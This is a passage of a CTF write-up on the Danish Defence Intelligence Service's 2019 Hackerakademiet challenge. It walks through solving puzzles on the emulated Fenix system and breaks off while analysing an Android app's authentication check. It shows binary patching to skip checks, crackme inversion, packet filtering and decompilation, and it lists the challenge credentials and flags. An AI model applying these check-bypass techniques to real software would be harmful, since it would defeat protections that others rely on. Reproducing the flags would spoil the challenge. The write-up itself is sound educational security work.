FE Hackerakademi CTF 2019 writeup
Update (2020-05-21): There's loot!
This December, the Danish Defence Intelligence Service (Forsvarets Efterretningstjeneste) released "Hackerakademiet", a CTF effectively functioning as a recruitment challenge for their new "black-hat" cybersecurity unit. The challenge consists of a couple warm-up challenges, and then the main challenge: Fenix, a Unix-like system based on their custom Femtium architecture.
I scored first place in the CTF, hitting the maximum point count of 3651 before any other participants. 8 participants hit the maximum in total. The platform ran on what I can only assume is an entirely custom-built CTF platform (not CTFd or anything else I recognize). Rather than a username/password, it used a system where you're assigned a random token, which a "hacker name" (your scoreboard username) is then derived from - mine was Evo1v3dPhan74sm
.
Overview
The warmup challenges are given as downloadable files. There's sudoku
, a Python script, medina
, a TCP server, and "Cyber Missile Commander", an Android .apk
. The main challenge is a virtual machine image for "Sphinx", a Debian installation containing a Femtium emulator, the Fenix disk image, a distribution of Clang/LLVM targeting Femtium, and a set of scripts for transferring files in and out of the Fenix environment. The README file made it clear that there were no flags hidden outside the Fenix disk image itself - and this was true! Granted, we're provided both the user and root password in the README as well, not like much is easy to hide that way around either way. Booting the Fenix image gets us a cool boot splash, and then a login prompt:
$ ./emulator fenix.img
[E] Could not open TAP interface
GURB
=D= Kernel found: fnode 10 (size 556480)
=D= ELF load [entry 0x800020f4]
=*= FENIX [NATIVE]
▀████████▓▒▄ ▄▒▓████████▀ ▌▌▌▌▌▌▌▌ ▌▌▌▌▌▌ ▌▌▌ ▌▌ ▌▌ ▌▌ ▌▌
════════ ▐ ▌ ════════ ▌▌ ▌▌▌▌ ▌▌ ▌▌ ▌▌ ▌▌
▀████▓▒▐░▌▒▓████▀ ▌▌▌▌▌▌ ▌▌▌▌▌▌ ▌▌ ▌▌▌▌ ▌▌ ▌▌▌
═════▐ ▌═════ ▌▌ ▌▌ ▌▌ ▌▌▌ ▌▌ ▌▌ ▌▌
▀█▓▒▐░▌▒▓█▀ ▌▌ ▌▌▌▌▌▌▌ ▌▌ ▌▌ ▌▌ ▌▌ ▌▌
Version 1.3.37 © 2019 FEMTIUM ENGINEERING LABORATORIES
=*= Initializing pce controller..
=*= pce: detected 10 devs
| dev[00]: 4645:6877.0000 port 0: pcebus
| dev[01]: 4645:7479.0000 port 4: serial
| dev[02]: 4645:7674.0000 port 5: virtsys
| dev[03]: 4645:6d6d.0000 port 7: mmu
| dev[04]: 4645:7454.0000 port 10: hpit
| dev[05]: 4645:6963.0000 port 11: pica
| dev[06]: 4645:6264.0000 port 20: bootdisk
| dev[07]: 4645:6864.0000 port 21: program
| dev[08]: 4645:564d.0000 port 24: virtcom
| dev[09]: 4645:566e.0000 port 28: virtnet
=*= mmu: initialized [port=7, memory=8 MB]
=*= pica: initialized [port=11]
=*= uart: initialized [port=4, irq=16]
=*= hpit: initialized [port=10, irq=17]
=*= vnet: initialized [port=28, irq=18]
=*= vsys: initialized [port=5]
=*= cpu0: running at 24.58 MHz
=*= vcom: initialized [port=24]
| part0: sector 16, 800 MB [boot]
| part1: <empty>
| part2: <empty>
| part3: <empty>
=*= Opened u5fs version 1 (blocksize=4096, blockcount=204800, rootnode=9)
=D= Mounted u5fs on disk0 as /
=*= Femtium Hardware Initialized
=*= Initializating network..
| setting up loopback
| adding virtnet interface
| activating ethernet
=D= Enabling hpit timer
=*= starting init
=W= stubbed syscall [reboot] (4088 / 0xf0001f00)
=D= starting shebang for /bin/sh (argc=1)
--- fenix userspace init ---
*
| sphinx::/dev/tty1
|
| fenix 1.3.37 online
*
sphinx login:
The README provides us the first login, noob:noob
, and explains that unlocking a flag in each "level" unlocks the credentials for the next level through the system's flagctl
command.
Since I didn't feel like bothering with the layers of VM, I just extracted the emulator and image from the VM onto my own system (and later, just off their servers). Running executables you got off the defence intelligence service on your primary system was probably not the best idea, but YOLO? Turns out the emulator is a 32-bit Linux executable, so running it on a modern system without 32-bit libraries just nets you an obscure "no such file or directory" error. On Arch, installing lib32-glibc
(having enabled the [multilib]
repository) solves this.
Architecture analysis
Since they're probably not going to store all the flags in plain text on the disk, it's time to get familiar with the architecture. They've been nice enough to include some basic documentation of the Femtium architecture, but I later discovered that this is very lacking, and also wrong in several places. The instruction set itself is 32-bit big-endian with fixed-size (also 32-bit) instructions, similar to MIPS, and seemingly a superset of the instruction set they used in their last challenge. It's very minimal, with only 22 base instructions. There's no documentation of what all the (64) registers mean, but trapping the emulator (by using the instruction execution limit parameter) reveals both a named register dump and a disassembly:
$ ./emulator -m100 fenix.img
[E] Could not open TAP interface
GUR[E] [101 ticks] cycle limit reached at (000000a8: 0x44d300ff)
$0080 | $443080ff:D0** | <ZERO>+0x80 :: ADD t3, t3, (-1)
$0084 | $bc700043:*p.C | <ZERO>+0x84 :: BEQ t5, t2, <ZERO>+0x8c, ↓
$0088 | $bc207f87:* ** | <ZERO>+0x88 :: BNZ t3, <ZERO>+0x78 ↑
$008c | $87200aa0:* .* | <ZERO>+0x8c :: MOVI at0, 00000055 (85, 'U')
$0090 | $cf218001:*!*. | <ZERO>+0x90 :: OUT at0, a0, zz, +1
$0094 | $87200521:* .! | <ZERO>+0x94 :: MOVI at0, 00000052 (82, 'R')
$0098 | $cf218001:*!*. | <ZERO>+0x98 :: OUT at0, a0, zz, +1
$009c | $c0804402:**D. | <ZERO>+0x9c :: IN a1, zz, t4, +2
$00a0 | $84c00024:**.$ | <ZERO>+0xa0 :: MOVI t8, 00000010
$00a4 | $84a00029:**.) | <ZERO>+0xa4 :: MOVI t7, 00000200
$00a8 | $44d300ff:D*.* | <ZERO>+0xa8 :: ADD t8, t8, (-1) <--- IP
$00ac | $bcc00083:**.* | <ZERO>+0xac :: BZ t8, <ZERO>+0xbc ↓
$00b0 | $4c734a00:LsJ. | <ZERO>+0xb0 :: MUL t5, t8, (t7+0)
$00b4 | $d4730800:*s.. | <ZERO>+0xb4 :: DSKR t5, t8, a1, +0
$00b8 | $b8007f83:*.** | <ZERO>+0xb8 :: BZ zz, <ZERO>+0xa8 ↑
$00bc | $87200421:* .! | <ZERO>+0xbc :: MOVI at0, 00000042 (66, 'B')
[D] Backtrace: 0x8e4e18e4
__________________________________________
____/ cpu state : UMF : 0x0807bee4 \_______________________________________________________________
| reg name color: zero result argument caller-save callee-save named segments |
| reg data color: default printable kstack kernel physmem kmalloc istack |
*---------------------------------------------------------------------------------------------------------------*
| zz -- | s0 * | s10 * | t0 * | t10 * | t20 * | fp * |
| v0 * | s1 * | s11 * | t1 0100 | t11 * | t21 * | gp * |
| v1 * | s2 * | s12 * | t2 46456264 | t12 * | x * | sp * |
| a0 00000004 | s3 * | s13 * | t3 00000006 | t13 * | y * | IP 00ac |
| a1 00000014 | s4 * | s14 * | t4 0700 | t14 * | z * | -[ no intr ]- |
| a2 * | s5 * | s15 * | t5 1e00 | t15 * | k0 * | mask fffffff0 |
| a3 * | s6 * | s16 * | t6 * | t16 * | k1 * | i.sp 00000000 |
| a4 * | s7 * | s17 * | t7 0200 | t17 * | at0 [R] 52 | |
| a5 * | s8 * | s18 * | t8 0000000e | t18 * | at1 * | s.sp 00000000 |
| a6 * | s9 * | s19 * | t9 * | t19 * | ra * | s.pc 00000000 |
*---------------------------------------------------------------------------------------------------------------*
The colors don't show here, but we have a hardware-zero register (zz), two "result" registers (v0, v1), seven "argument" registers (a0-a6), 20 caller-saved registers (s0-s19), 22 callee-saved registers (t0-t21), a few other named registers, a frame and stack pointer, and finally an instruction pointer.
Given the challenge binaries, even in Fenix, are in ELF format (although in the Femtium instruction set), I ended up writing a radare2 plugin. This plugin handles disassembly, jump tracking, XREFs, and contains an ESIL-based instruction interpreter. The disassembly syntax more or less resembles Intel syntax for x86, but I have very little experience with assembly in general, so a lot of it was ad-hoc and probably nonsensical to someone more experienced with assembly. I was never able to get the interpreter fully working - not enough to solve the last challenge - but it worked well enough for most of it. The challenges I faced writing this plugin will likely be the subject of a whole other blog post, and I'll likely publish it then.
A couple interesting notes: their compiler seems to encode function calls as four instructions - saving the return address, an immediate move, an immediate add, and an add to instruction pointer.
0x0040214c 477f800c add ra, pc, +12 ; ra=0x40215c -> 0xa11ac083
0x00402150 8720a962 movi at0, 0x152c ; at0=0x152c
0x00402154 8f200000 addi at0, 0 ; at0=0x152c
0x00402158 47fff200 call ; pc=0x403688 -> 0xe000df47 sym.printf
The call
"instruction" is an alias in the disassembler, the original instruction is add IP, IP, at0
- a relative jump to the value of at0
. The rquivalent ret
inetruction is similarly aliased from add IP, zz, ra
(an add
with zero as one operand is effectively a mov
). The architecture has no way of doing 32-bit immediate loads, so the relative addresses are all encoded as a 16-bit move (for the lower 16 bits), then a 16 times left-shifted add (for the upper 16 bits). The register at0
is always used for saving the jump offset, and the register ra
is always used for saving the return address (that instruction's address plus 12 bytes, pointing to after the call instruction). This register functions as the link register from eg. PowerPC and ARM. It's always pushed to the stack in function preludes and popped prior to the return, as part of the platform's calling conventions. Arguments are passed in a0-a6
- I've yet to find a call taking more than 7 arguments, so they may spill over to the stack.
Most load/store and ALU instructions take a signed 8-bit immediate offset in the lowest byte of the instruction, and the load/store instructions also take a second offset register operand on top of the immediate offset. This means it can do eg. a struct lookup inside an array (eg. ldw s0, s1, +16
) in a single instruction load, although it does not include shifting for the operands.
The architecture handles most bit operations in a single "mega-instruction" called mask
, taking many options handling both shifting and logic operations. The manual specified the wrong operands here - which took a while to work out. In addition to this, there's a single nor
instruction functioning similar to the add
, mul
and div
instructions. Why they chose this instruction over another to "special-case" outside mask
is beyond me.
All in all, this architecture is a relatively simple RISC, and there's nothing too special to remark on beyond what I already have.
I did notice something interesting about the emulator and system kernel, though. Every binary in Fenix has symbols included, and the kernel (world-readable at /kernel
) is no exception. However, it seems to contain a lot of shared functions with the emulator binary itself, to the point where you see most of the same code both in x86 and in Femtium. I'm not sure what happened during the development, whether they use a shared codebase or not, and how much of the Femtium "kernel" is actually used in practice vs. just using the x86 implementation in the emulator. Definitely interested in seeing a writeup from the challenge authors about this.
Challenges
As described before, the CTF platform contains 18 challenges separated into 4 categories roughly ordered by difficulty. Each category corresponds to a user in the Fenix image. The sudoku
and medina
challenges are distributed via their website, but copies are also contained in the Fenix image. The cybermissilecmdr
challenge relies on an Android .apk
only available on the website, but also requires a binary inside the Fenix image to be completed. The challenges are as follows:
Noob
- welcome (1 point)
- sudoku (100 points)
- medina (150 points)
- rainbowbarf (100 points)
- helmig1 (100 points)
- helmig2 (150 points)
Script Kiddie
- dumpster_dive (200 points)
- number_of_the_beast (100 points)
- sort_sol (200 points)
- itsadate1 (100 points)
- itsadate2 (100 points)
- itsadate3 (100 points)
Pentester
- binexp1 (200 points)
- cybermissilecmdr (300 points)
Hacker
Bonus: Popping a root shell
Noob
These challenges all reside in the /home/noob
directory in the Fenix userspace. To gain access, log in using the noob
user, with the password noob
. This is the first level, and the login information is given in the README. A quick directory listing shows the available files:
noob@sphinx # find
.
./sudoku
./sudoku/sudoku.py
./medina
./medina/challenge.txt
./cybermc
./cybermc/cmc-auth
./helmig
./helmig/helmig
./helmig/challenge
./helmig/challenge/message
./rainbowbarf
./rainbowbarf/rainbow-barfer
./rainbowbarf/hint.txt
Welcome
This isn't really a "challenge" as much as a way to get players acquainted with the flag system. The flag is just FE{flag-goes-here}
, which is used as an example in multiple places (eg. the CTF website and the README files).
Sudoku
Alright. Let's warm up with some classic logic and integer-based amusement.
One of our sources managed to get us this weird script. It looks like they are encoding secret information into the puzzles, but we're not sure how. We need you to take a look at this.
Could you go ahead and solve them all? There's 40 of them, though, so you might want to use something a little more advanced than pen and paper.
We're given a Python script that when run, prints out a series of Sudokus, requesting a solution to be entered after each:
#!/usr/bin/env python
import sys
flag = ""
def get_solution():
chksum = 0
for i in range(9):
n = int(sys.stdin.readline())
if n < 123456789 or n > 987654321:
sys.exit(1)
chksum = ((chksum + n + 8) * 23652789) % 9345692873
return chr((chksum % 47)+95)
print("2.3...7.4")
print(".912745.3")
print(".673592.1")
print("7..6.3.45")
print("534.17628")
print(".8..2.9.7")
print("91.536472")
print("345.9...6")
print("..2..1..9")
flag += get_solution().upper()
# [23 more blocks like the above snipped out]
print(flag)
Each solution is ran through a checksum algorithm, and the resulting value is a character, which gets added to the string flag
. Solving each sudoku and entering the proper solution reveals the flag through the checksums.
To do this quickly, I patched out the stdin reads from the file (by replacing get_solution
with a simple return), so it would simply print every sudoku in one go. Then, I piped it to the command-line Sudoku solver qqwing
, cleaned the output up, and piped it back into the original script (the one that read the solution from stdin). This gives us the flag, right away:
$ python sudoku_patched.py | qqwing --solve --compact | sed '/^$/d' | python sudoku.py
2.3...7.4
.912745.3
.673592.1
7..6.3.45
534.17628
.8..2.9.7
# original puzzle output from script snipped
6.8.7..5.
3.2....71
FE{shall_we_play_a_game}
And there's our flag.
Medina
Our reconnaissance team found a service that's handing out a free flag! However, they were disrupted by a hostile actor and failed to retrieve the complete flag.
Maybe you can do better?
Gear up and investigate the problem. We recommend bringing along a shark or something similar.
nc medina.hackerakademi.dk 1337
Okay, we're given a hostname and a port and instructed to netcat
it.
Let's do that and see what happens...
$ nc medina.hackerakademi.dk 1337
FE{read(net): Connection reset by peer
We successfully connect, receive the letters FE{
trickling in one by one, and then the connection cuts off
as described ("disrupted by a hostile actor"). Let's fire up Wireshark ("we recommend bringing along a shark")
and take a look at what happens. First we need its IP address to filter the TCP packets:
$ dig +short medina.hackerakademi.dk
13.53.130.242
We turn on Wireshark, plug in ip.addr == 13.53.130.242
in the handy dandy filter box, and send another request to medina
:
We see a standard TCP connection, a couple packets sent, and suddenly a nasty red [RST]
frame indicating the connection is being reset.
If we look at the Data section of the successful [PSH]
frames, we see the single letters F
, E
, and {
that we expected,
and immediately after the reset frame, we also see a V
coming in. Hmm. After that point, the connection seems to be
in an inconsistent state, and now we keep sending reset frames. I couldn't find any way to mod nc
to ignore the rogue reset frame,
so why not just block them from ever entering in the first place? We can do this with iptables
:
$ sudo iptables -A INPUT -p tcp --tcp-flags RST RST -s 13.53.130.242 -j DROP
Let's try connecting again, still keeping Wireshark listening:
$ nc medina.hackerakademi.dk 1337
FE{V3lk0Mm3N_
That's better, but it's not the whole thing. Maybe Wireshark can help us again?
Okay, we get the first three letters, that nasty reset packet, and then a bunch more letters.
Finally the server ends the TCP connection properly (which is what we saw just before), but we're still
missing some letters. Thankfully we get a final frame a few seconds later (selected in the screenshot)
containing the rest of the flag: iL_M3dIN4}
. We could infer we're missing a T
between those two
to form a full phrase... but we could also check that packet the server kept trying to re-send:
And now we can form the full flag: FE{V3lk0Mm3N_TiL_M3dIN4}
Rainbowbarf
Now we get past the warmup challenges and into ones that actually involve the Fenix system. We're given the rainbow-barfer
binary, that when run, reads text from stdin
and outputs it back with a mess of ANSI foreground and background colors. Here's a screenshot, since the colors don't translate to plain text:
Investigating the ANSI color codes reveals that the flag is encoded in the foreground and background values, the foreground values making up the upper 3 bytes and the background values making up the lower 3 bytes, forming 6 bytes per character total. This is an index into the standard Base64 charset, and those values can now be Base64-decoded into the actual flag. I didn't bother parsing the ANSI escape codes, and instead dug into the binary itself and extracted the bg
and fg
arrays:
$ r2 rainbow-barfer
[0x00401000]> p8 0x1c @ obj.fg
02040207030002060300020503000406010201060102070401000307
[0x00401000]> p8 0x1c @ obj.bg
01040503050301030506040505060003030700040406010204070505
import binascii
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
fgs = binascii.unhexlify("02040207030002060300020503000406010201060102070401000307")
bgs = binascii.unhexlify("01040503050301030506040505060003030700040406010204070505")
for i in range(28):
v = fgs[i] * 8 + bgs[i]
print(charset[v], end="")
print()
$ python3 barf.py | base64 -d
FE{t4ste-th3-r41nb0w}
Helmig
This challenge is probably the first interesting one. The system runs a daemon as root that manages the files and folders inside ~/helmig
:
noob@sphinx # ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 0 0 ? Rs 00:00 0:00 init
root 5 0.0 0.0 0 0 ? Rs 00:00 0:00 /bin/login -- noob
helmig 4 0.0 0.0 0 0 ? R 00:00 0:00 /home/noob/helmig/helmig /home/noob/helmig/challenge
noob 6 0.0 0.0 0 0 ? R 00:00 0:00 -bash
noob 10 0.0 0.0 0 0 ? R 00:00 0:00 ps aux
Reading the ~/helmig/challenge/message
file we saw doing a directory listing above reveals:
noob@sphinx # cat helmig/challenge/message
Knock knock!
Recover the secret sequence to get the flag.
After reading this file, message
disappears, and is replaced by a list of numbered files:
noob@sphinx # ls helmig/challenge/
0 1 2 3 4 5 6 7 8 9
The intent here is to attempt to "brute force" the correct number combination by reading these folders one by one. Reading the wrong folder resets the game and replaces every file with another message
file that must be read to continue.
My solution to this challenge was... strange and overcomplicated, but it ended up working - for the most part. I wrote a C program using the provided compiler to "knock" on the files in the correct order. It worked at the time, and got me the first flag (FE{det_er_mig_der_staar_herude_og_banker_paa}
), but I can't seem to replicate it now. It also wouldn't get me the second flag, which requires getting knocking correctly the first time around, and means I can't use the error messages to suss out and brute-force the correct combination to apply in the end. I talked to a friend about the challenge, and he sent me his own solution that gets the second flag, and is infinitely simpler than my own:
noob@sphinx # cd helmig/challenge
noob@sphinx # for i in *; do echo "a" > $i; done
noob@sphinx # ls
flag
noob@sphinx # cat flag
FE{d3T_Er_m1G_D3r_5tAAr_h3rUDe_0g_b4NkeR_pAA}
I genuinely don't understand how or why it works - especially when my own attempts at "just spam-write the files and hope it works" never got anywhere - and it only seems to work sometimes, but... it gets the job done, I guess, heh.
Script Kiddie
These challenges are under the /home/johnny
directory, and are accessible using the user johnny
with the password j0hnnyt3sts
:
johnny@sphinx # find
.
./number_of_the_beast
./number_of_the_beast/number_of_the_beast.txt
./itsadate
./itsadate/itsadate
./dumpster_dive
./dumpster_dive/dumpster_dive.pdf
./sort_sol
./sort_sol/sort_sol
dumpster_dive
We're given a fairly large PDF, seemingly containing a single page with the content:
Dumpster dive
I attached/embedded some source code found in the trash...
Investigating the PDF with a variety of tools show that there are a bunch of hidden embedded objects in the file, containing layers and layers of nested PDF files each containing a single line of source code. Binwalk managed to extract the first few layers, but the recursive mode eventually hit the filename length limit of Linux. I ended up writing a Python script to extract and assemble the lines:
import io
import pikepdf
pdf_queue = [open("dumpster_dive.pdf", "rb")]
strings = {}
while pdf_queue:
pdf_file = pdf_queue.pop(0)
pdf = pikepdf.Pdf.open(pdf_file)
page_number = -1
for operands, operator in pikepdf.parse_content_stream(pdf.pages[0]):
if str(operator) == "Tj":
s = str(operands[0])
if s.endswith("of 490"):
page_number = int(s.split()[0])
else:
if page_number != -1:
strings[page_number] = s
for obj in pdf.objects:
if isinstance(obj, pikepdf.Stream):
bs = obj.read_bytes()
if bs[:4] == b"%PDF":
pdf_queue.append(io.BytesIO(bs))
for num, line in sorted(strings.items(), key=lambda x: x[0]):
print(line)
The resulting output is a HTML file that prints the flag with an animation. The file contains a reference to jquery.js
in the same directory as the file, so that needs to be present before the file can run.
Flag: FE{THANKS_FOR_REASSEMBLING_MY_CODE}
number_of_the_beast
We're given number_of_the_beast.txt
, simply containing the following string:
FE{feff00٦۹00৫f00௬൰0๖d00٥f00৬300௬f00๗໕00٦e00৭੪00௬౯00๖e00٦۷00৫f00௬f00๖e00٥f00৭੯00௬f00๗໕00٥f00৭੪00௬౮00๖໙00٧300৫f00௭౪00๖໙00٦d00৬੫}
We have what looks like a flag with its innards replaced with some hexadecimal digits, and some non-English Unicode characters interspersed. Googling these characters one by one reveals they're all numbers in various scripts. We can figure out what they correspond to by just looking up the Unicode character name:
٦
: ARABIC-INDIC DIGIT SIX۹
: EXTENDED ARABIC-INDIC DIGIT NINE৫
: BENGALI DIGIT FIVE௬
: TAMIL DIGIT SIX൰
: MALAYALAM NUMBER TEN๖
: THAI DIGIT SIX٥
: ARABIC-INDIC DIGIT FIVE৬
: BENGALI SIGIT SIX
...and so on and so forth. With liberal use of find/replace, I replaced every character with its Arabic numeral equivalent (௬
-> 6
, ൰
-> 10
), and as a result got this:
FE{feff0069005f0061006d005f0063006f0075006e00740069006e0067005f006f006e005f0079006f0075005f0074006800690073005f00740069006d0065}
Every other byte is 00
and the string begins with an unmistakeable feff
byte-order mark, indicating the text is encoded as big-endian UTF-16. Decoding using that character set leaves us with the string i_am_counting_on_you_this_time
, giving us our flag.
Flag: FE{i_am_counting_on_you_this_time}
sort_sol
We're given sort_sol
, a binary that runs a terminal-based game reminiscent of Guitar Hero:
johnny@sphinx # ./sort_sol
1 | -----------------o---------o---------o---------|---------|---------|--------
2 | -----------------|---------|---------o---------o---------o---------o--------
3 | -----------------|---------|---------o---------o---------o---------o--------
4 | -----------------|---------|---------o---------|---------|---------|--------
5 | -----------------o---------o---------|---------|---------|---------|--------
6 | -----------------o---------|---------o---------|---------o---------o--------
7 | -----------------|---------o---------o---------o---------o---------o--------
health: 3
Typing the corresponding numbers after one another and hitting enter will "select" those digits, and change the |
to an o
. The goal of the game
is to rapidly type those numbers so they correspond to the o
s on the rows moving from right to left. Missing one decreases the health by one,
and once you run out, the game ends. The flag is encoded in the rows and positions. To see the entire string, I patched out the health check in the
binary, changing the bytes BB C2 03 ED
(cjmp 0x004026c0 if t0 > a1
) at 0x2644
in the file itself to BB C2 03 E4
(cjmp 0x004026c0 if a1 == zz
), turning the conditional jump to an unconditional jump. This means we can continue indefinitely despite losing health again and again.
To properly extract the sequence, I redirected stdout to a file and manually ran through it, writing down the "binary digits" of each row. Strangely, |
represents a zero and o
represents a 1, despite the visual appearance of those characters. The end result is the 7-bit ASCII numbers:
1000110 1000101 1111011 0110001 0110011 0110011 0110111 1011111 1111001 0110000 1110101 1010010 1011111 1100110 0100001 1101110 1000111 0110011 1110010 0110101 1011111 1000100 0110000 1011111 1110100 1001000 1100101 1011111 1110111 0110100 1101100 1001011 1101001 1001110 1100111 1111101 0000000
Parsing those as text (adding a 0 to the start of each may help) gets us the flag:
Flag: FE{1337_y0uR_f!nG3r5_D0_tHe_w4lKiNg}
itsadate
This challenge was released a few weeks after the other challenges, despite briefly being present in the challenge list on day one. The binary itself gives a good explanation:
johnny@sphinx # ./itsadate
Welcome, user!
Congratulations on your acceptance to the coveted internship program at
Itsadate Noperations, Department of Dating!
This is your time to shine! Our international dating services hook up couples
from all over the world. And *you* get to help bridge love across borders!
All new interns are, per regulations, subject to a mandatory two-day advanced
introductory course on timestamps and standards.
People use the strangest dating formats, and that simply will not do. No,
Itsadate Noperations' customers require easy to read timestamps in all things.
How else will they manage to meet their dates on time?
Y-m-d H:M:S UTC, pls.
Day 1, 1/50: 19730224T010252Z
>
Essentially, you have to "parse" the date format and type it in correctly a bunch of times on a timer. The timer's ridiculously short, and the dates are random so it's basically asking you to patch the binary.
The main function calls all the "levels" as functions (level1
, level2
, level3
),
which will themselves exit the program if you fail. After the call it just
directly calls the flag decryption routine and prints the result, without
actually using your date input for anything. The flag decryption is relatively complex,
so I didn't bother reverse-engineering it - just did something easier:
I just patched out the call [level1]
bits at 0x403270
by searching for the
preceding instructions in a hex editor and replacing the call instruction
47 ff f2 00
with 40 60 00 00
(add a0, zz, +0
). I repeated this for the other levels.
Then I ran the program and had it print out all the flags, easy peasy.
johnny@sphinx # ./itsadate_patched
Welcome, user!
Congratulations on your acceptance to the coveted internship program at
Itsadate Noperations, Department of Dating!
This is your time to shine! Our international dating services hook up couples
from all over the world. And *you* get to help bridge love across borders!
All new interns are, per regulations, subject to a mandatory two-day advanced
introductory course on timestamps and standards.
People use the strangest dating formats, and that simply will not do. No,
Itsadate Noperations' customers require easy to read timestamps in all things.
How else will they manage to meet their dates on time?
Y-m-d H:M:S UTC, pls.
FE{f1r57_t1m32_93t5_4_p4d_0n_7h3_h34d}
Well done! There's hope for you yet.
Only... That was the easy part.
Tick tock. The night is young.
FE{t1m3_h34l5_a11_w0und5}
Congratulations! It's a date!
You passed the introductory course, and have now started your full-time
unpaid internship. Want to get paid? Get yourself promoted to
Master Dater by answering this one bonus question. Interns will hate you.
FE{th3_n19h7_i5_y0u2_0wn}
Wait a minute! How'd you get here? That question was unpossible!
PS... You're fired.
Pentester
This level only contains a single challenge under the /home/pentest
directory, binexp1
, which is accessible using the user pentest
with the password s0mucht3sting
:
pentest@sphinx # find
.
./binexp1
./binexp1/instructions.md
./binexp1/binexp1
However, the cybermissilecmdr
challenge is also categorized under this level, so I'll include that one here, too.
binexp1
This is a pretty standard crackme that takes a "password input" and verifies it. It reads exactly 24 characters from stdin (no more, no less), and prints out Nope.
if it's incorrect:
pentest@sphinx # ./binexp1
Password please: hellodarknessmyoldfriend
Nope.
This is the only binary in the CTF that doesn't seem to be compiled from C, instead consisting of a single entry function in hand-written assembly, as well as two symbols, _fail
and _start
. The assembly isn't particularly complex or "functionality-dense", and is fairly easy to read. A pseudocode rendition of the program is as follows:
int main() {
printf("Password please: ");
// read-only in practice, but sshhh....
char flag1[24] = "\x6f\x67\xf0\x79\xe0\xe4\xb2\xae\x6d\x69\x65\x6c\x63\x68\x61\x69\x8a\x92\xa2\xb0\xb4\xef\xea\xaa";
char flag2[24] = "\x18\x11\x64\x0f\x60\x5e\x42\x32\x03\x06\x12\x33\x25\x0d\x0c\x1d\x07\x01\x17\x31\x24\x9b\x4d\x05";
char input[24];
for (int i = 0; i < 24; i++)
getc(&input[i]);
for (int i = 0; i < 24; i++)
if (input[i] == '\0' || input[i] == '\n')
goto fail;
for (int i = 0; i < 8; i++)
flag2[i] = flag2[i] + input[i] + 17;
for (int i = 8; i < 16; i++)
flag2[i] ^= input[i];
for (int i = 16; i < 24; i++)
flag2[i] += input[i] + 26 + 2 * (i - 16);
if (strcmp(flag1, flag2) != 0)
goto fail;
printf("You did it!");
return 0;
fail:
printf("Nope.");
return 1;
}
The assembly itself is around 700 instructions long and uses no explicit loops - they're all unrolled (or were never loops in the first place). In essence, it does some operations on a predefined string (written to the stack byte-for-byte in the assembly) based on the given input, then compares it to another byte string in the end. I inverted these operations using a Python script, giving us the flag:
import binascii
s0 = binascii.unhexlify("6f67f079e0e4b2ae6d69656c636861698a92a2b0b4efeaaa")
s1 = binascii.unhexlify("1811640f605e423203061233250d0c1d07011731249b4d05")
s2 = bytearray()
for i in range(8):
s2.append(s0[i] - s1[i] - 17)
for i in range(8, 16):
s2.append(s0[i] ^ s1[i])
for i in range(16, 24):
j = i - 16
s2.append(s0[i] - s1[i] - (26 + j*2))
print(s2)
Flag: FE{You_know_Femtium_n0w}
cybermissilecmdr
Looks like you're ready to dip your toe in some deeper waters.
The attached .apk file is an early prototype of a mobile Cyber Weapon platform we were working on. However, the source ended up in the hands of a rogue agent and has been modified in some way.
The app still uses our 1FA system, that can be found in the FENIX OS, so that should get you into the app to investigate.
You need to figure out what the app is hiding.
We're given an .apk
file, so let's go ahead and unpack all that with jadx
:
$ jadx cybermc.apk
# [a whole bunch of errors snipped out...]
We got a... lot of errors, but still managed to get an output directory, so maybe it worked well enough? A couple of files stand out in the (massive) sea of Android boilerplate garbage, icons, layout XML files and obfuscated libraries:
$ find
# [snip]
./cybermc/sources/com/example/mycyber/Target.java
./cybermc/sources/com/example/mycyber/R.java
./cybermc/sources/com/example/mycyber/MainActivity.java
./cybermc/sources/com/example/mycyber/ChipTunePlayer.java
./cybermc/sources/com/example/mycyber/WinActivity.java
./cybermc/sources/com/example/mycyber/EnterLaunchCode.java
# [snip]
./cybermc/resources/res/raw/chiptune.mp3
./cybermc/resources/res/raw/encrypted_flag.png
# [snip]
So, at least the main program code isn't obfuscated, so we've gotten it all pretty much handed to us in source code form! Thanks, Java!
encrypted_flag.png
is, well, encrypted. The encryption seems to be applied to the entire file as it's just a sea of random data to us at the moment, no noticeable PNG structure or anything. chiptune.mp3
helpfully includes all its metadata, so we can pretty quickly identify it as Towel Defence Sad Ending by sawsquarenoise from a royalty-free music archive.
Going through the entire analysis of the source files here would take far too long, but here are the important bits, with all comments added by myself:
The MainActivity (home screen, index page, etc) consists of a "challenge" text box just containing 10 randomly generated digits, as well as a "responseInput" input box and an enter button:
TextView textView = (TextView) findViewById(R.id.challenge);
EditText editText = (EditText) findViewById(R.id.responseInput);
editText.requestFocus();
Button button = (Button) findViewById(R.id.enterBtn);
button.setOnClickListener(new a(button, editText));
SecureRandom secureRandom = new SecureRandom();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 10; i++) {
sb.append((char) (((char) secureRandom.nextInt(10)) + '0'));
}
textView.setText(sb.toString());
This is likely the "1FA" mentioned in the channel description. The corresponding 1FA token can be gotten by running the /home/noob/cybermc/cmc-auth
binary in Fenix:
noob@sphinx # ./cmc-auth
Enter challenge> 1234567890
16792303669486752077963516789694
The "challenge" digits are completely random, and it's probably a fair assumption they're meaningless. Hitting the button in the app gets you to this part:
this.f663b.setEnabled(false);
Intent intent = new Intent(MainActivity.this.getApplicationContext(), Target.class);
String obj = this.c.getText().toString();
// ASTRID: if 1FA response is correct (challenge is irrelevant, lol)
if (b.b.a.a.a(obj)) {
// ASTRID: ...then move to target activity (screen)
intent.putExtra("response", obj);
MainActivity.this.startActivity(intent);
return;
}
// ASTRID: 1FA error
Snackbar a2 = Snackbar.a(view, "Invalid response. Check your FEnix Authenticator/emulator", 0);
a2.a("Action", null);
h.b().a(a2.c(), a2.i);
this.f663b.setEnabled(true);
The app also asks for some (entirely nonsense) permissions at this point (including camera, audio recording, location and call answering), but I haven't included that bit here.
It takes the challenge response input you give it (c.getText()
), calls the function b.b.a.a.a()
on it, and if that returns true
, stuffs the response string
in an Intent
to open the Target
activity. The b.b.a.a.a()
function looks like this:
// ASTRID: check 1FA auth checksum (last bit)
public static boolean a(String str) {
boolean z = false;
if (str.length() < 32) {
return false;
}
int i = 0;
for (char c : str.substring(0, str.length() - 1).toCharArray()) {
i += c;
}
if (((i ^ 21) % 10) + 48 == str.charAt(str.length() - 1)) {
z = true;
}
// ASTRID:
